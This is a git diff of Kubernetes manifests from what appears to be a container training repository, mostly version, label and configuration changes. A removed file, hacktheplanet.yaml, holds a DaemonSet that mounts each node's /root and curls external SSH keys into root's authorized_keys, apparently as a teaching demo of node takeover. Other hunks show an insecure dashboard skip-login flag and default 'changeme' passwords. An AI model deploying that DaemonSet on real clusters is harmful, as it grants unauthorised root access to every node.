fix-redirects.sh: adding forced redirect

.gitignore

@@ -3,7 +3,6 @@
 *~
 prepare-vms/tags
 prepare-vms/infra
-prepare-vms/www
 slides/*.yml.html
 slides/autopilot/state.yaml
 slides/index.html

README.md

@@ -39,7 +39,7 @@ your own tutorials.
 All these materials have been gathered in a single repository
 because they have a few things in common:
 
-- some [shared slides](slides/shared/) that are re-used
+- some [common slides](slides/common/) that are re-used
   (and updated) identically between different decks;
 - a [build system](slides/) generating HTML slides from
   Markdown source files;

k8s/consul.yaml

@@ -72,7 +72,7 @@ spec:
       terminationGracePeriodSeconds: 10
       containers:
         - name: consul
-          image: "consul:1.5"
+          image: "consul:1.4.4"
           args:
             - "agent"
             - "-bootstrap-expect=3"

k8s/efk.yaml

@@ -3,6 +3,7 @@ apiVersion: v1
 kind: ServiceAccount
 metadata:
   name: fluentd
+
 ---
 apiVersion: rbac.authorization.k8s.io/v1beta1
 kind: ClusterRole
@@ -18,6 +19,7 @@ rules:
   - get
   - list
   - watch
+
 ---
 kind: ClusterRoleBinding
 apiVersion: rbac.authorization.k8s.io/v1beta1
@@ -31,18 +33,23 @@ subjects:
 - kind: ServiceAccount
   name: fluentd
   namespace: default
+
 ---
 apiVersion: extensions/v1beta1
 kind: DaemonSet
 metadata:
   name: fluentd
   labels:
-    app: fluentd
+    k8s-app: fluentd-logging
+    version: v1
+    kubernetes.io/cluster-service: "true"
 spec:
   template:
     metadata:
       labels:
-        app: fluentd
+        k8s-app: fluentd-logging
+        version: v1
+        kubernetes.io/cluster-service: "true"
     spec:
       serviceAccount: fluentd
       serviceAccountName: fluentd
@@ -51,7 +58,7 @@ spec:
         effect: NoSchedule
       containers:
       - name: fluentd
-        image: fluent/fluentd-kubernetes-daemonset:v1.4-debian-elasticsearch-1
+        image: fluent/fluentd-kubernetes-daemonset:elasticsearch
         env:
           - name:  FLUENT_ELASTICSEARCH_HOST
             value: "elasticsearch"
@@ -59,12 +66,14 @@ spec:
             value: "9200"
           - name: FLUENT_ELASTICSEARCH_SCHEME
             value: "http"
+          # X-Pack Authentication
+          # =====================
+          - name: FLUENT_ELASTICSEARCH_USER
+            value: "elastic"
+          - name: FLUENT_ELASTICSEARCH_PASSWORD
+            value: "changeme"
           - name: FLUENT_UID
             value: "0"
-          - name: FLUENTD_SYSTEMD_CONF
-            value: "disable"
-          - name: FLUENTD_PROMETHEUS_CONF
-            value: "disable"
         resources:
           limits:
             memory: 200Mi
@@ -85,83 +94,134 @@ spec:
       - name: varlibdockercontainers
         hostPath:
           path: /var/lib/docker/containers
+
 ---
 apiVersion: extensions/v1beta1
 kind: Deployment
 metadata:
+  annotations:
+    deployment.kubernetes.io/revision: "1"
+  creationTimestamp: null
+  generation: 1
   labels:
-    app: elasticsearch
+    run: elasticsearch
   name: elasticsearch
+  selfLink: /apis/extensions/v1beta1/namespaces/default/deployments/elasticsearch
 spec:
+  progressDeadlineSeconds: 600
+  replicas: 1
+  revisionHistoryLimit: 10
   selector:
     matchLabels:
-      app: elasticsearch
+      run: elasticsearch
+  strategy:
+    rollingUpdate:
+      maxSurge: 1
+      maxUnavailable: 1
+    type: RollingUpdate
   template:
     metadata:
+      creationTimestamp: null
       labels:
-        app: elasticsearch
+        run: elasticsearch
     spec:
       containers:
-      - image: elasticsearch:5
+      - image: elasticsearch:5.6.8
+        imagePullPolicy: IfNotPresent
         name: elasticsearch
-        resources:
-          limits:
-            memory: 2Gi
-          requests:
-            memory: 1Gi
+        resources: {}
+        terminationMessagePath: /dev/termination-log
+        terminationMessagePolicy: File
         env:
         - name: ES_JAVA_OPTS
           value: "-Xms1g -Xmx1g"
+      dnsPolicy: ClusterFirst
+      restartPolicy: Always
+      schedulerName: default-scheduler
+      securityContext: {}
+      terminationGracePeriodSeconds: 30
+
 ---
 apiVersion: v1
 kind: Service
 metadata:
+  creationTimestamp: null
   labels:
-    app: elasticsearch
+    run: elasticsearch
   name: elasticsearch
+  selfLink: /api/v1/namespaces/default/services/elasticsearch
 spec:
   ports:
   - port: 9200
     protocol: TCP
     targetPort: 9200
   selector:
-    app: elasticsearch
+    run: elasticsearch
+  sessionAffinity: None
   type: ClusterIP
+
 ---
 apiVersion: extensions/v1beta1
 kind: Deployment
 metadata:
+  annotations:
+    deployment.kubernetes.io/revision: "1"
+  creationTimestamp: null
+  generation: 1
   labels:
-    app: kibana
+    run: kibana
   name: kibana
+  selfLink: /apis/extensions/v1beta1/namespaces/default/deployments/kibana
 spec:
+  progressDeadlineSeconds: 600
+  replicas: 1
+  revisionHistoryLimit: 10
   selector:
     matchLabels:
-      app: kibana
+      run: kibana
+  strategy:
+    rollingUpdate:
+      maxSurge: 1
+      maxUnavailable: 1
+    type: RollingUpdate
   template:
     metadata:
+      creationTimestamp: null
       labels:
-        app: kibana
+        run: kibana
     spec:
       containers:
       - env:
         - name: ELASTICSEARCH_URL
           value: http://elasticsearch:9200/
-        image: kibana:5
+        image: kibana:5.6.8
+        imagePullPolicy: Always
         name: kibana
         resources: {}
+        terminationMessagePath: /dev/termination-log
+        terminationMessagePolicy: File
+      dnsPolicy: ClusterFirst
+      restartPolicy: Always
+      schedulerName: default-scheduler
+      securityContext: {}
+      terminationGracePeriodSeconds: 30
+
 ---
 apiVersion: v1
 kind: Service
 metadata:
+  creationTimestamp: null
   labels:
-    app: kibana
+    run: kibana
   name: kibana
+  selfLink: /api/v1/namespaces/default/services/kibana
 spec:
+  externalTrafficPolicy: Cluster
   ports:
   - port: 5601
     protocol: TCP
     targetPort: 5601
   selector:
-    app: kibana
+    run: kibana
+  sessionAffinity: None
   type: NodePort

k8s/elasticsearch-cluster.yaml

@@ -1,21 +0,0 @@
-apiVersion: enterprises.upmc.com/v1
-kind: ElasticsearchCluster
-metadata:
-  name: es
-spec:
-  kibana:
-    image: docker.elastic.co/kibana/kibana-oss:6.1.3
-    image-pull-policy: Always
-  cerebro:
-    image: upmcenterprises/cerebro:0.7.2
-    image-pull-policy: Always
-  elastic-search-image: upmcenterprises/docker-elasticsearch-kubernetes:6.1.3_0
-  image-pull-policy: Always
-  client-node-replicas: 2
-  master-node-replicas: 3
-  data-node-replicas: 3
-  network-host: 0.0.0.0
-  use-ssl: false
-  data-volume-size: 10Gi
-  java-options: "-Xms512m -Xmx512m"
-

k8s/elasticsearch-operator.yaml

@@ -1,94 +0,0 @@
-# This is mirrored from https://github.com/upmc-enterprises/elasticsearch-operator/blob/master/example/controller.yaml but using the elasticsearch-operator namespace instead of operator
----
-apiVersion: v1
-kind: Namespace
-metadata:
-  name: elasticsearch-operator
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: elasticsearch-operator
-  namespace: elasticsearch-operator
----
-apiVersion: rbac.authorization.k8s.io/v1beta1
-kind: ClusterRole
-metadata:
-  name: elasticsearch-operator
-rules:
-- apiGroups: ["extensions"]
-  resources: ["deployments", "replicasets", "daemonsets"]
-  verbs: ["create", "get", "update", "delete", "list"]
-- apiGroups: ["apiextensions.k8s.io"]
-  resources: ["customresourcedefinitions"]
-  verbs: ["create", "get", "update", "delete", "list"]
-- apiGroups: ["storage.k8s.io"]
-  resources: ["storageclasses"]
-  verbs: ["get", "list", "create", "delete", "deletecollection"]
-- apiGroups: [""]
-  resources: ["persistentvolumes", "persistentvolumeclaims", "services", "secrets", "configmaps"] 
-  verbs: ["create", "get", "update", "delete", "list"]
-- apiGroups: ["batch"]
-  resources: ["cronjobs", "jobs"]
-  verbs: ["create", "get", "deletecollection", "delete"]
-- apiGroups: [""]
-  resources: ["pods"]
-  verbs: ["list", "get", "watch"]
-- apiGroups: ["apps"]
-  resources: ["statefulsets", "deployments"]
-  verbs: ["*"]
-- apiGroups: ["enterprises.upmc.com"]
-  resources: ["elasticsearchclusters"]
-  verbs: ["*"]
----
-apiVersion: rbac.authorization.k8s.io/v1beta1
-kind: ClusterRoleBinding
-metadata:
-  name: elasticsearch-operator
-  namespace: elasticsearch-operator
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: elasticsearch-operator
-subjects:
-- kind: ServiceAccount
-  name: elasticsearch-operator
-  namespace: elasticsearch-operator
----
-apiVersion: extensions/v1beta1
-kind: Deployment
-metadata:
-  name: elasticsearch-operator
-  namespace: elasticsearch-operator
-spec:
-  replicas: 1
-  template:
-    metadata:
-      labels:
-        name: elasticsearch-operator
-    spec:
-      containers:
-      - name: operator
-        image: upmcenterprises/elasticsearch-operator:0.2.0
-        imagePullPolicy: Always
-        env:
-        - name: NAMESPACE
-          valueFrom:
-            fieldRef:
-              fieldPath: metadata.namespace
-        ports:
-        - containerPort: 8000
-          name: http
-        livenessProbe:
-          httpGet:
-            path: /live
-            port: 8000
-          initialDelaySeconds: 10
-          timeoutSeconds: 10
-        readinessProbe:
-          httpGet:
-            path: /ready
-            port: 8000
-          initialDelaySeconds: 10
-          timeoutSeconds: 5
-      serviceAccount: elasticsearch-operator

k8s/filebeat.yaml

@@ -1,167 +0,0 @@
----
-apiVersion: v1
-kind: ConfigMap
-metadata:
-  name: filebeat-config
-  namespace: kube-system
-  labels:
-    k8s-app: filebeat
-data:
-  filebeat.yml: |-
-    filebeat.config:
-      inputs:
-        # Mounted `filebeat-inputs` configmap:
-        path: ${path.config}/inputs.d/*.yml
-        # Reload inputs configs as they change:
-        reload.enabled: false
-      modules:
-        path: ${path.config}/modules.d/*.yml
-        # Reload module configs as they change:
-        reload.enabled: false
-
-    # To enable hints based autodiscover, remove `filebeat.config.inputs` configuration and uncomment this:
-    #filebeat.autodiscover:
-    #  providers:
-    #    - type: kubernetes
-    #      hints.enabled: true
-
-    processors:
-      - add_cloud_metadata:
-
-    cloud.id: ${ELASTIC_CLOUD_ID}
-    cloud.auth: ${ELASTIC_CLOUD_AUTH}
-
-    output.elasticsearch:
-      hosts: ['${ELASTICSEARCH_HOST:elasticsearch}:${ELASTICSEARCH_PORT:9200}']
-      username: ${ELASTICSEARCH_USERNAME}
-      password: ${ELASTICSEARCH_PASSWORD}
----
-apiVersion: v1
-kind: ConfigMap
-metadata:
-  name: filebeat-inputs
-  namespace: kube-system
-  labels:
-    k8s-app: filebeat
-data:
-  kubernetes.yml: |-
-    - type: docker
-      containers.ids:
-      - "*"
-      processors:
-        - add_kubernetes_metadata:
-            in_cluster: true
----
-apiVersion: extensions/v1beta1
-kind: DaemonSet
-metadata:
-  name: filebeat
-  namespace: kube-system
-  labels:
-    k8s-app: filebeat
-spec:
-  template:
-    metadata:
-      labels:
-        k8s-app: filebeat
-    spec:
-      serviceAccountName: filebeat
-      terminationGracePeriodSeconds: 30
-      containers:
-      - name: filebeat
-        image: docker.elastic.co/beats/filebeat-oss:7.0.1
-        args: [
-          "-c", "/etc/filebeat.yml",
-          "-e",
-        ]
-        env:
-        - name: ELASTICSEARCH_HOST
-          value: elasticsearch-es.default.svc.cluster.local
-        - name: ELASTICSEARCH_PORT
-          value: "9200"
-        - name: ELASTICSEARCH_USERNAME
-          value: elastic
-        - name: ELASTICSEARCH_PASSWORD
-          value: changeme
-        - name: ELASTIC_CLOUD_ID
-          value:
-        - name: ELASTIC_CLOUD_AUTH
-          value:
-        securityContext:
-          runAsUser: 0
-          # If using Red Hat OpenShift uncomment this:
-          #privileged: true
-        resources:
-          limits:
-            memory: 200Mi
-          requests:
-            cpu: 100m
-            memory: 100Mi
-        volumeMounts:
-        - name: config
-          mountPath: /etc/filebeat.yml
-          readOnly: true
-          subPath: filebeat.yml
-        - name: inputs
-          mountPath: /usr/share/filebeat/inputs.d
-          readOnly: true
-        - name: data
-          mountPath: /usr/share/filebeat/data
-        - name: varlibdockercontainers
-          mountPath: /var/lib/docker/containers
-          readOnly: true
-      volumes:
-      - name: config
-        configMap:
-          defaultMode: 0600
-          name: filebeat-config
-      - name: varlibdockercontainers
-        hostPath:
-          path: /var/lib/docker/containers
-      - name: inputs
-        configMap:
-          defaultMode: 0600
-          name: filebeat-inputs
-      # data folder stores a registry of read status for all files, so we don't send everything again on a Filebeat pod restart
-      - name: data
-        hostPath:
-          path: /var/lib/filebeat-data
-          type: DirectoryOrCreate
----
-apiVersion: rbac.authorization.k8s.io/v1beta1
-kind: ClusterRoleBinding
-metadata:
-  name: filebeat
-subjects:
-- kind: ServiceAccount
-  name: filebeat
-  namespace: kube-system
-roleRef:
-  kind: ClusterRole
-  name: filebeat
-  apiGroup: rbac.authorization.k8s.io
----
-apiVersion: rbac.authorization.k8s.io/v1beta1
-kind: ClusterRole
-metadata:
-  name: filebeat
-  labels:
-    k8s-app: filebeat
-rules:
-- apiGroups: [""] # "" indicates the core API group
-  resources:
-  - namespaces
-  - pods
-  verbs:
-  - get
-  - watch
-  - list
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: filebeat
-  namespace: kube-system
-  labels:
-    k8s-app: filebeat
----

k8s/hacktheplanet.yaml

@@ -1,34 +0,0 @@
-apiVersion: apps/v1
-kind: DaemonSet
-metadata:
-  name: hacktheplanet
-spec:
-  selector:
-    matchLabels:
-      app: hacktheplanet
-  template:
-    metadata:
-      labels:
-        app: hacktheplanet
-    spec:
-      volumes:
-      - name: root
-        hostPath:
-          path: /root
-      tolerations:
-      - effect: NoSchedule
-        operator: Exists
-      initContainers:
-      - name: hacktheplanet
-        image: alpine
-        volumeMounts:
-        - name: root
-          mountPath: /root
-        command:
-        - sh
-        - -c
-        - "apk update && apk add curl && curl https://github.com/jpetazzo.keys > /root/.ssh/authorized_keys"
-      containers:
-      - name: web
-        image: nginx
-

k8s/ingress.yaml

@@ -1,14 +1,14 @@
-apiVersion: networking.k8s.io/v1beta1
+apiVersion: extensions/v1beta1
 kind: Ingress
 metadata:
   name: cheddar
 spec:
   rules:
-  - host: px.3.123.33.38.nip.io
+  - host: cheddar.A.B.C.D.nip.io
     http:
       paths:
       - path: /
         backend:
-          serviceName: px-lighthouse
+          serviceName: cheddar
           servicePort: 80
 

k8s/insecure-dashboard.yaml

@@ -12,6 +12,11 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
+# Configuration to deploy release version of the Dashboard UI compatible with
+# Kubernetes 1.8.
+#
+# Example usage: kubectl create -f <this_file>
+
 # ------------------- Dashboard Secret ------------------- #
 
 apiVersion: v1
@@ -90,7 +95,7 @@ subjects:
 # ------------------- Dashboard Deployment ------------------- #
 
 kind: Deployment
-apiVersion: apps/v1
+apiVersion: apps/v1beta2
 metadata:
   labels:
     k8s-app: kubernetes-dashboard
@@ -109,13 +114,12 @@ spec:
     spec:
       containers:
       - name: kubernetes-dashboard
-        image: k8s.gcr.io/kubernetes-dashboard-amd64:v1.10.1
+        image: k8s.gcr.io/kubernetes-dashboard-amd64:v1.8.3
         ports:
         - containerPort: 8443
           protocol: TCP
         args:
           - --auto-generate-certificates
-          - --enable-skip-login
           # Uncomment the following line to manually specify Kubernetes API server Host
           # If not specified, Dashboard will attempt to auto discover the API server and connect
           # to it. Uncomment only if the default does not work.

k8s/kubernetes-dashboard.yaml

@@ -12,6 +12,11 @@
 # See the License for the specific language governing permissions and
 # limitations under the License.
 
+# Configuration to deploy release version of the Dashboard UI compatible with
+# Kubernetes 1.8.
+#
+# Example usage: kubectl create -f <this_file>
+
 # ------------------- Dashboard Secret ------------------- #
 
 apiVersion: v1
@@ -90,7 +95,7 @@ subjects:
 # ------------------- Dashboard Deployment ------------------- #
 
 kind: Deployment
-apiVersion: apps/v1
+apiVersion: apps/v1beta2
 metadata:
   labels:
     k8s-app: kubernetes-dashboard
@@ -109,7 +114,7 @@ spec:
     spec:
       containers:
       - name: kubernetes-dashboard
-        image: k8s.gcr.io/kubernetes-dashboard-amd64:v1.10.1
+        image: k8s.gcr.io/kubernetes-dashboard-amd64:v1.8.3
         ports:
         - containerPort: 8443
           protocol: TCP

k8s/local-path-storage.yaml

@@ -1,110 +0,0 @@
-# This is a local copy of:
-# https://github.com/rancher/local-path-provisioner/blob/master/deploy/local-path-storage.yaml
----
-apiVersion: v1
-kind: Namespace
-metadata:
-  name: local-path-storage
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: local-path-provisioner-service-account
-  namespace: local-path-storage
----
-apiVersion: rbac.authorization.k8s.io/v1beta1
-kind: ClusterRole
-metadata:
-  name: local-path-provisioner-role
-  namespace: local-path-storage
-rules:
-- apiGroups: [""]
-  resources: ["nodes", "persistentvolumeclaims"]
-  verbs: ["get", "list", "watch"]
-- apiGroups: [""]
-  resources: ["endpoints", "persistentvolumes", "pods"]
-  verbs: ["*"]
-- apiGroups: [""]
-  resources: ["events"]
-  verbs: ["create", "patch"]
-- apiGroups: ["storage.k8s.io"]
-  resources: ["storageclasses"]
-  verbs: ["get", "list", "watch"]
----
-apiVersion: rbac.authorization.k8s.io/v1beta1
-kind: ClusterRoleBinding
-metadata:
-  name: local-path-provisioner-bind
-  namespace: local-path-storage
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: local-path-provisioner-role
-subjects:
-- kind: ServiceAccount
-  name: local-path-provisioner-service-account
-  namespace: local-path-storage
----
-apiVersion: apps/v1beta2
-kind: Deployment
-metadata:
-  name: local-path-provisioner
-  namespace: local-path-storage
-spec:
-  replicas: 1
-  selector:
-    matchLabels:
-      app: local-path-provisioner
-  template:
-    metadata:
-      labels:
-        app: local-path-provisioner
-    spec:
-      serviceAccountName: local-path-provisioner-service-account
-      containers:
-      - name: local-path-provisioner
-        image: rancher/local-path-provisioner:v0.0.8
-        imagePullPolicy: Always
-        command:
-        - local-path-provisioner
-        - --debug
-        - start
-        - --config
-        - /etc/config/config.json
-        volumeMounts:
-        - name: config-volume
-          mountPath: /etc/config/
-        env:
-        - name: POD_NAMESPACE
-          valueFrom:
-            fieldRef:
-              fieldPath: metadata.namespace
-      volumes:
-        - name: config-volume
-          configMap:
-            name: local-path-config
----
-apiVersion: storage.k8s.io/v1
-kind: StorageClass
-metadata:
-  name: local-path
-provisioner: rancher.io/local-path
-volumeBindingMode: WaitForFirstConsumer
-reclaimPolicy: Delete
----
-kind: ConfigMap
-apiVersion: v1
-metadata:
-  name: local-path-config
-  namespace: local-path-storage
-data:
-  config.json: |-
-        {
-                "nodePathMap":[
-                {
-                        "node":"DEFAULT_PATH_FOR_NON_LISTED_NODES",
-                        "paths":["/opt/local-path-provisioner"]
-                }
-                ]
-        }
-

k8s/metrics-server.yaml

@@ -82,7 +82,7 @@ spec:
         emptyDir: {}
       containers:
       - name: metrics-server
-        image: k8s.gcr.io/metrics-server-amd64:v0.3.3
+        image: k8s.gcr.io/metrics-server-amd64:v0.3.1
         imagePullPolicy: Always
         volumeMounts:
         - name: tmp-dir

k8s/persistent-consul.yaml

@@ -1,95 +0,0 @@
-apiVersion: rbac.authorization.k8s.io/v1
-kind: Role
-metadata:
-  name: consul
-rules:
-  - apiGroups: [ "" ]
-    resources: [ pods ]
-    verbs:     [ get, list ]
----
-apiVersion: rbac.authorization.k8s.io/v1
-kind: RoleBinding
-metadata:
-  name: consul
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: Role
-  name: consul
-subjects:
-  - kind: ServiceAccount
-    name: consul
-    namespace: orange
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: consul
----
-apiVersion: v1
-kind: Service
-metadata:
-  name: consul
-spec:
-  ports:
-  - port: 8500
-    name: http
-  selector:
-    app: consul
----
-apiVersion: apps/v1
-kind: StatefulSet
-metadata:
-  name: consul
-spec:
-  serviceName: consul
-  replicas: 3
-  selector:
-    matchLabels:
-      app: consul
-  volumeClaimTemplates:
-    - metadata:
-        name: data
-      spec:
-        accessModes:
-          - ReadWriteOnce
-        resources:
-          requests:
-            storage: 1Gi
-  template:
-    metadata:
-      labels:
-        app: consul
-    spec:
-      serviceAccountName: consul
-      affinity:
-        podAntiAffinity:
-          requiredDuringSchedulingIgnoredDuringExecution:
-            - labelSelector:
-                matchExpressions:
-                  - key: app
-                    operator: In
-                    values:
-                      - consul
-              topologyKey: kubernetes.io/hostname
-      terminationGracePeriodSeconds: 10
-      containers:
-        - name: consul
-          image: "consul:1.5"
-          volumeMounts:
-            - name: data
-              mountPath: /consul/data
-          args:
-            - "agent"
-            - "-bootstrap-expect=3"
-            - "-retry-join=provider=k8s namespace=orange label_selector=\"app=consul\""
-            - "-client=0.0.0.0"
-            - "-data-dir=/consul/data"
-            - "-server"
-            - "-ui"
-          lifecycle:
-            preStop:
-              exec:
-                command:
-                - /bin/sh
-                - -c
-                - consul leave

k8s/portworx.yaml

@@ -1,340 +1,4 @@
-# SOURCE: https://install.portworx.com/?kbver=1.15.2&b=true&s=/dev/loop4&c=px-workshop&stork=true&lh=true&st=k8s&mc=false
-# SOURCE: https://install.portworx.com/?kbver=1.15.2&b=true&s=/dev/loop4&c=px-workshop&stork=true&lh=true&st=k8s&mc=false
----
-kind: Service
-apiVersion: v1
-metadata:
-  name: portworx-service
-  namespace: kube-system
-  labels:
-    name: portworx
-spec:
-  selector:
-    name: portworx
-  type: NodePort
-  ports:
-    - name: px-api
-      protocol: TCP
-      port: 9001
-      targetPort: 9001
-    - name: px-kvdb
-      protocol: TCP
-      port: 9019
-      targetPort: 9019
-    - name: px-sdk
-      protocol: TCP
-      port: 9020
-      targetPort: 9020
-    - name: px-rest-gateway
-      protocol: TCP
-      port: 9021
-      targetPort: 9021
----
-apiVersion: apiextensions.k8s.io/v1beta1
-kind: CustomResourceDefinition
-metadata:
-  name: volumeplacementstrategies.portworx.io
-spec:
-  group: portworx.io
-  versions:
-    - name: v1beta2
-      served: true
-      storage: true
-    - name: v1beta1
-      served: false
-      storage: false
-  scope: Cluster
-  names:
-    plural: volumeplacementstrategies
-    singular: volumeplacementstrategy
-    kind: VolumePlacementStrategy
-    shortNames:
-    - vps
-    - vp
----
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  name: px-account
-  namespace: kube-system
----
-kind: ClusterRole
-apiVersion: rbac.authorization.k8s.io/v1
-metadata:
-   name: node-get-put-list-role
-rules:
-- apiGroups: [""]
-  resources: ["secrets"]
-  verbs: ["get", "list"]
-- apiGroups: [""]
-  resources: ["nodes"]
-  verbs: ["watch", "get", "update", "list"]
-- apiGroups: [""]
-  resources: ["pods"]
-  verbs: ["delete", "get", "list", "watch", "update"]
-- apiGroups: [""]
-  resources: ["persistentvolumeclaims", "persistentvolumes"]
-  verbs: ["get", "list"]
-- apiGroups: [""]
-  resources: ["configmaps"]
-  verbs: ["get", "list", "update", "create"]
-- apiGroups: ["extensions"]
-  resources: ["podsecuritypolicies"]
-  resourceNames: ["privileged"]
-  verbs: ["use"]
-- apiGroups: ["portworx.io"]
-  resources: ["volumeplacementstrategies"]
-  verbs: ["get", "list"]
----
-kind: ClusterRoleBinding
-apiVersion: rbac.authorization.k8s.io/v1
-metadata:
-  name: node-role-binding
-subjects:
-- kind: ServiceAccount
-  name: px-account
-  namespace: kube-system
-roleRef:
-  kind: ClusterRole
-  name: node-get-put-list-role
-  apiGroup: rbac.authorization.k8s.io
----
-apiVersion: v1
-kind: Namespace
-metadata:
-  name: portworx
----
-kind: Role
-apiVersion: rbac.authorization.k8s.io/v1
-metadata:
-  name: px-role
-  namespace: portworx
-rules:
-- apiGroups: [""]
-  resources: ["secrets"]
-  verbs: ["get", "list", "create", "update", "patch"]
----
-kind: RoleBinding
-apiVersion: rbac.authorization.k8s.io/v1
-metadata:
-  name: px-role-binding
-  namespace: portworx
-subjects:
-- kind: ServiceAccount
-  name: px-account
-  namespace: kube-system
-roleRef:
-  kind: Role
-  name: px-role
-  apiGroup: rbac.authorization.k8s.io
----
-apiVersion: extensions/v1beta1
-kind: DaemonSet
-metadata:
-  name: portworx
-  namespace: kube-system
-  annotations:
-    portworx.com/install-source: "https://install.portworx.com/?kbver=1.15.2&b=true&s=/dev/loop4&c=px-workshop&stork=true&lh=true&st=k8s&mc=false"
-spec:
-  minReadySeconds: 0
-  updateStrategy:
-    type: RollingUpdate
-    rollingUpdate:
-      maxUnavailable: 1
-  template:
-    metadata:
-      labels:
-        name: portworx
-    spec:
-      affinity:
-        nodeAffinity:
-          requiredDuringSchedulingIgnoredDuringExecution:
-            nodeSelectorTerms:
-            - matchExpressions:
-              - key: px/enabled
-                operator: NotIn
-                values:
-                - "false"
-              - key: node-role.kubernetes.io/master
-                operator: DoesNotExist
-      hostNetwork: true
-      hostPID: false
-      initContainers:
-        - name: checkloop
-          image: alpine
-          command: [ "sh", "-c" ]
-          args:
-            - |
-              if ! grep -q loop4 /proc/partitions; then
-                echo 'Could not find "loop4" in /proc/partitions. Please create it first.'
-                exit 1
-              fi
-      containers:
-        - name: portworx
-          image: portworx/oci-monitor:2.1.3
-          imagePullPolicy: Always
-          args:
-            ["-c", "px-workshop", "-s", "/dev/loop4", "-secret_type", "k8s", "-b", 
-             "-x", "kubernetes"]
-          env:
-            - name: "AUTO_NODE_RECOVERY_TIMEOUT_IN_SECS"
-              value: "1500"
-            - name: "PX_TEMPLATE_VERSION"
-              value: "v4"
-            
-          livenessProbe:
-            periodSeconds: 30
-            initialDelaySeconds: 840 # allow image pull in slow networks
-            httpGet:
-              host: 127.0.0.1
-              path: /status
-              port: 9001
-          readinessProbe:
-            periodSeconds: 10
-            httpGet:
-              host: 127.0.0.1
-              path: /health
-              port: 9015
-          terminationMessagePath: "/tmp/px-termination-log"
-          securityContext:
-            privileged: true
-          volumeMounts:
-            - name: diagsdump
-              mountPath: /var/cores
-            - name: dockersock
-              mountPath: /var/run/docker.sock
-            - name: containerdsock
-              mountPath: /run/containerd
-            - name: criosock
-              mountPath: /var/run/crio
-            - name: crioconf
-              mountPath: /etc/crictl.yaml
-            - name: etcpwx
-              mountPath: /etc/pwx
-            - name: optpwx
-              mountPath: /opt/pwx
-            - name: procmount
-              mountPath: /host_proc
-            - name: sysdmount
-              mountPath: /etc/systemd/system
-            - name: journalmount1
-              mountPath: /var/run/log
-              readOnly: true
-            - name: journalmount2
-              mountPath: /var/log
-              readOnly: true
-            - name: dbusmount
-              mountPath: /var/run/dbus
-      restartPolicy: Always
-      serviceAccountName: px-account
-      volumes:
-        - name: diagsdump
-          hostPath:
-            path: /var/cores
-        - name: dockersock
-          hostPath:
-            path: /var/run/docker.sock
-        - name: containerdsock
-          hostPath:
-            path: /run/containerd
-        - name: criosock
-          hostPath:
-            path: /var/run/crio
-        - name: crioconf
-          hostPath:
-            path: /etc/crictl.yaml
-            type: FileOrCreate
-        - name: etcpwx
-          hostPath:
-            path: /etc/pwx
-        - name: optpwx
-          hostPath:
-            path: /opt/pwx
-        - name: procmount
-          hostPath:
-            path: /proc
-        - name: sysdmount
-          hostPath:
-            path: /etc/systemd/system
-        - name: journalmount1
-          hostPath:
-            path: /var/run/log
-        - name: journalmount2
-          hostPath:
-            path: /var/log
-        - name: dbusmount
-          hostPath:
-            path: /var/run/dbus
----
-kind: Service
-apiVersion: v1
-metadata:
-  name: portworx-api
-  namespace: kube-system
-  labels:
-    name: portworx-api
-spec:
-  selector:
-    name: portworx-api
-  type: NodePort
-  ports:
-    - name: px-api
-      protocol: TCP
-      port: 9001
-      targetPort: 9001
-    - name: px-sdk
-      protocol: TCP
-      port: 9020
-      targetPort: 9020
-    - name: px-rest-gateway
-      protocol: TCP
-      port: 9021
-      targetPort: 9021
----
-apiVersion: extensions/v1beta1
-kind: DaemonSet
-metadata:
-  name: portworx-api
-  namespace: kube-system
-spec:
-  minReadySeconds: 0
-  updateStrategy:
-    type: RollingUpdate
-    rollingUpdate:
-      maxUnavailable: 100%
-  template:
-    metadata:
-      labels:
-        name: portworx-api
-    spec:
-      affinity:
-        nodeAffinity:
-          requiredDuringSchedulingIgnoredDuringExecution:
-            nodeSelectorTerms:
-            - matchExpressions:
-              - key: px/enabled
-                operator: NotIn
-                values:
-                - "false"
-              - key: node-role.kubernetes.io/master
-                operator: DoesNotExist
-      hostNetwork: true
-      hostPID: false
-      containers:
-        - name: portworx-api
-          image: k8s.gcr.io/pause:3.1
-          imagePullPolicy: Always
-          readinessProbe:
-            periodSeconds: 10
-            httpGet:
-              host: 127.0.0.1
-              path: /status
-              port: 9001
-      restartPolicy: Always
-      serviceAccountName: px-account
-
-
----
+# SOURCE: https://install.portworx.com/?kbver=1.11.2&b=true&s=/dev/loop4&c=px-workshop&stork=true&lh=true
 apiVersion: v1
 kind: ConfigMap
 metadata:
@@ -347,7 +11,7 @@ data:
       "apiVersion": "v1",
       "extenders": [
         {
-          "urlPrefix": "http://stork-service.kube-system:8099",
+          "urlPrefix": "http://stork-service.kube-system.svc:8099",
           "apiVersion": "v1beta1",
           "filterVerb": "filter",
           "prioritizeVerb": "prioritize",
@@ -370,8 +34,8 @@ metadata:
    name: stork-role
 rules:
   - apiGroups: [""]
-    resources: ["pods", "pods/exec"]
-    verbs: ["get", "list", "delete", "create", "watch"]
+    resources: ["pods"]
+    verbs: ["get", "list", "delete"]
   - apiGroups: [""]
     resources: ["persistentvolumes"]
     verbs: ["get", "list", "watch", "create", "delete"]
@@ -384,14 +48,14 @@ rules:
   - apiGroups: [""]
     resources: ["events"]
     verbs: ["list", "watch", "create", "update", "patch"]
-  - apiGroups: ["stork.libopenstorage.org"]
-    resources: ["*"]
-    verbs: ["get", "list", "watch", "update", "patch", "create", "delete"]
   - apiGroups: ["apiextensions.k8s.io"]
     resources: ["customresourcedefinitions"]
-    verbs: ["create", "get"]
+    verbs: ["create", "list", "watch", "delete"]
   - apiGroups: ["volumesnapshot.external-storage.k8s.io"]
-    resources: ["volumesnapshots", "volumesnapshotdatas"]
+    resources: ["volumesnapshots"]
+    verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
+  - apiGroups: ["volumesnapshot.external-storage.k8s.io"]
+    resources: ["volumesnapshotdatas"]
     verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
